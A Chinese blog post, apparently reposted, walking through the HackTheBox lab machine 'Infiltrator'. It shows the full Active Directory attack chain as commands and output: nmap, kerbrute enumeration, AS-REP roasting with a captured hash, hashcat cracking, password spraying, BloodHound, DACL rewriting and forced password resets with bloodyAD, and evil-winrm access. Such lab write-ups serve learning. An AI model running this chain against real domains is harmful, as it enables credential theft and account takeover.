首页 > 其他分享 >HTB打靶记录-Infiltrator

HTB打靶记录-Infiltrator

时间：2024-10-22 17:43:39浏览次数：5  
标签：infiltrator htb -- 打靶 tcp rodriguez anderson Infiltrator HTB

nmap scan

nmap -A 10.10.11.31

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-15 13:18 CST
Nmap scan report for infiltrator.htb (10.10.11.31)
Host is up (0.46s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE           VERSION
53/tcp   open  domain            Simple DNS Plus
80/tcp   open  http              Microsoft IIS httpd 10.0
|_http-title: Infiltrator.htb
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp   open  kerberos-sec      Microsoft Windows Kerberos (server time: 2024-10-15 05:18:56Z)
135/tcp  open  msrpc             Microsoft Windows RPC
139/tcp  open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after:  2099-07-17T18:48:15
|_ssl-date: 2024-10-15T05:21:33+00:00; -6s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap          Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-10-15T05:21:30+00:00; -1s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after:  2099-07-17T18:48:15
3268/tcp open  ldap              Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-10-15T05:21:31+00:00; -4s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after:  2099-07-17T18:48:15
3269/tcp open  globalcatLDAPssl?
|_ssl-date: 2024-10-15T05:21:30+00:00; -1s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after:  2099-07-17T18:48:15
3389/tcp open  ms-wbt-server     Microsoft Terminal Services
|_ssl-date: 2024-10-15T05:21:30+00:00; -4s from scanner time.
| ssl-cert: Subject: commonName=dc01.infiltrator.htb
| Not valid before: 2024-07-30T13:20:17
|_Not valid after:  2025-01-29T13:20:17
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (85%)
Aggressive OS guesses: Microsoft Windows Server 2019 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -3s, deviation: 2s, median: -4s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2024-10-15T05:20:57
|_  start_date: N/A

TRACEROUTE (using port 445/tcp)
HOP RTT       ADDRESS
1   624.86 ms 10.10.16.1
2   624.97 ms infiltrator.htb (10.10.11.31)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 214.82 seconds

域控: dc01.infiltrator.htb

Web收集

查看80端口web服务，可以看到有团队介绍，收集下团队成员的姓名，xpath f12定位下

curl -s http://infiltrator.htb/ | xmllint --html --xpath "//div/div/h4" -

<h4>.01 David Anderson</h4>
<h4>.02 Olivia Martinez</h4>
<h4>.03 Kevin Turner</h4>
<h4>.04 Amanda Walker</h4>
<h4>.05 Marcus Harris</h4>
<h4>.06 Lauren Clark</h4>
<h4>.07 Ethan Rodriguez</h4>

David Anderson
Olivia Martinez
Kevin Turner
Amanda Walker
Marcus Harris
Lauren Clark
Ethan Rodriguez

kerbrute枚举域用户

将上面收集的用户名整理成域用户格式

[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]

kerbrute userenum --dc infiltrator.htb -d infiltrator.htb 1.txt

AS-REP Roasting

impacket-GetNPUsers infiltrator.htb/ -usersfile domain.txt -outputfile output.txt -no-pass

[email protected]@INFILTRATOR.HTB:a1d4f31dcf6bc05a04dee51be421e533$0aa08870f1211e00c6db740e862bce466a86986da0fe451e8136c2ed02dc0749a729f85566ebc762e2f65ac62348f6c246dd22f1383a8b5b9ba0af2357252dd04f0359761f11ffcf00ad31f78e100df2e00b771ca041e156aac6400ad50849c55e21ca5e23f04336228446714cdbf54b8e0aee48749cf472d8cbcf06a752990077edfd9361c85d9c28bbd072379b66d6bddafa1f751c8f9ee6644a99fd89c7bb7900f66f7d83d3180fb04e91f3471a512987c18400b122251160730106144d1a18e91a1243f5b2c2ff50a2baa10dda423781df8a4301c723858c6d8d580591f3d2a70295a18298d1b519498e27db17544733

Hash brute

hashcat output.txt

探测出来18200，直接rockyou爆破

hashcat output.txt -a 0 -m 18200 /usr/share/wordlists/rockyou.txt

爆破出密码:WAT?watismypass!

得到凭据:l.clark:WAT?watismypass!

密码复用

跑smb，wmi都连不上去，说明这个用户没啥大用，看有没有其它用户复用这个密码

d.anderson
o.martinez
k.turner
a.walker
m.harris
e.rodriguez

crackmapexec smb 10.10.11.35 -u 1.txt -p 'WAT?watismypass!'

得到凭据:d.anderson:WAT?watismypass!

也是连不上，（x

bloodhound收集

尝试下能不能收集域信息

bloodhound-python -d infiltrator.htb -u l.clark -p 'WAT?watismypass!' -c all --dns-tcp --zip --dns-timeout 10

导入bloodhound，没啥有用的信息

bloodhound-python -d infiltrator.htb -u d.anderson -p 'WAT?watismypass!' -c all --dns-tcp --zip --dns-timeout 10

导入bloodhound，d.anderson对MARKETING [email protected]有GenericAll权限，e.rodriguez属于MARKETING DIGITAL组，所以我们可以修改e.rodriguez的密码

GenericAll

首先修改d.anderson对MARKETING DIGITAL组的控制权限为FullControl，先获取d.anderson的票据

impacket-getTGT 'infiltrator.htb/d.anderson:WAT?watismypass!' -dc-ip 10.10.11.31

然后导入票据：export KRB5CCNAME=d.anderson.ccache

修改权限: python3 AD/impacket/examples/dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb/d.anderson' -k -no-pass -dc-ip 10.10.11.31

修改密码

python3 bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" --kerberos --dc-ip 10.10.11.31 -u "d.anderson" -p "WAT?watismypass\!" set password "e.rodriguez" "K@night666"

查看e.rodriguez用户信息，发现对CHIEFS MARKETING组有AddSelf权限

把e.rodriguez用户加入CHIEFS MARKETING组

python3 AD/bloodyAD/bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" --dc-ip 10.10.11.31 -u e.rodriguez -p "K@night666" -k add groupMember "CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB" e.rodriguez

查看CHIEFS MARKETING组权限，发现可以强制修改M.HARRIS用户的密码

使用e.rodriguez用户修改掉M.HARRIS用户的密码

python3 AD/bloodyAD/bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" --kerberos --dc-ip 10.10.11.31 -u "e.rodriguez" -p "K@night666" set password "m.harris" "K@night666"

evil-winrm

使用m.harris用户evil-winrm连接上拿到user.txt

提权

一个压缩包，里面mysql root用户密码，直接读Administrator用户的root.txt（公共环境太难受了，这里不演示了

标签：infiltrator,htb,--,打靶,tcp,rodriguez,anderson,Infiltrator,HTB
From： https://www.cnblogs.com/F12-blog/p/18493404

相关文章

  • HTB打靶记录-Cicada
    NmapScannmap扫描一下ipnmap-sT-sV-O-Pn10.10.11.35Nmapscanreportfor10.10.11.35Hostisup(0.012slatency).Notshown:989filteredtcpports(no-response),1filteredtcpports(host-unreach)PORTSTATESERVICEVERSION25/tcpopensmtp?......
  • HTB：Jerry[WriteUP]
    目录连接至HTB服务器并启动靶机1.WhichTCPportisopenontheremotehost?2.Whichwebserverisrunningontheremotehost?Lookingfortwowords.3.WhichrelativepathonthewebserverleadstotheWebApplicationManager?4.Whatisthevalidusername......
  • HTB：Lame[WriteUP]
    目录连接至HTB服务器并启动靶机1.Howmanyofthenmaptop1000TCPportsareopenontheremotehost?2.WhatversionofVSFTPdisrunningonLame?3.ThereisafamousbackdoorinVSFTPdversion2.3.4,andaMetasploitmoduletoexploitit.Doesthatexploi......
  • HTB：Legacy[WriteUP]
    目录连接至HTB服务器并启动靶机1.HowmanyTCPportsareopenonLegacy?2.Whatisthe2008CVEIDforavulnerabilityinSMBthatallowsforremotecodeexecution?3.WhatisthenameoftheMetasploitmodulethatexploitsCVE-2008-4250?4.WhenexploitingM......
  • 靶场打靶系列 --- sqli-labs大全
    前提条件1.输入的数据作为sql语句执行了2.输入没有安全过滤3.sql语句根据输入拼接而成的4.在页面中有注入的输出点 我先介绍注入的大致思路0.判断网页逻辑。是否有sql报错，是否有注出点。1.判断注入点。发送特殊符号触发sql报错得知注入点，有’、“、）、无闭合符号。缺点......
  • HTB buff wp
    难度：easy初步端口扫描：开了两个端口，7680没有什么信息，8080是web服务，进去看一下，在concat.php发现版本信息searchsploit搜一下，发现payload，选用48506这个脚本修改一下脚本，不用他给的交互式shell（太难用了），在写入的php文件中加入文件上传功能，弹回来个shell，用msf收一下直接用mu......
  • HTB-TwoMillion 靶机笔记
    TwoMillion靶机笔记概述HTB上的一台liunx靶机，难度定为了简单级别，它包括了对js接口的信息收集，js反混淆，未授权，越权，命令注入等漏洞。一、nmap扫描1）端口扫描nmap-sT--min-rate10000-p--oports10.10.11.221Nmapscanreportfor10.10.11.221Hostisup(0.37s......
  • HTB-sql基本知识
    HTB-sql基本知识-mysqlsql-插入-insert用于向给定表添加新记录一、语法INSERTINTOtable_nameVALUES(column1_value,column2_value,column3_value,...);上面的语法要求用户填写表中所有列的值。例子：如何向登录表添加新登录名，并为每列添加适当的值。mysql>INSERTI......
  • HTB-sql基本知识
    HTB-sql基本知识-mysqlsql-插入-insert用于向给定表添加新记录一、语法INSERTINTOtable_nameVALUES(column1_value,column2_value,column3_value,...);上面的语法要求用户填写表中所有列的值。例子：如何向登录表添加新登录名，并为每列添加适当的值。mysql>INSERTI......
  • 打靶记录18——narak
    靶机:https://download.vulnhub.com/ha/narak.ova推荐使用VMWare打开靶机难度：中目标：取得root权限+2Flag攻击方法：主机发现端口扫描信息收集密码字典定制爆破密码Webdav漏洞PUT方法上传BF语言解码MOTD注入CVE-2021-3493提权主机发现arp-scan-l尝......

赞助商

阅读排行

网站主页关于我们联系我们网站地图

本网站内容转载自其他媒体，侵权联系[admin##ips99.com]。

Copyright © 2020-2023 IPS99 版权所有 IPS99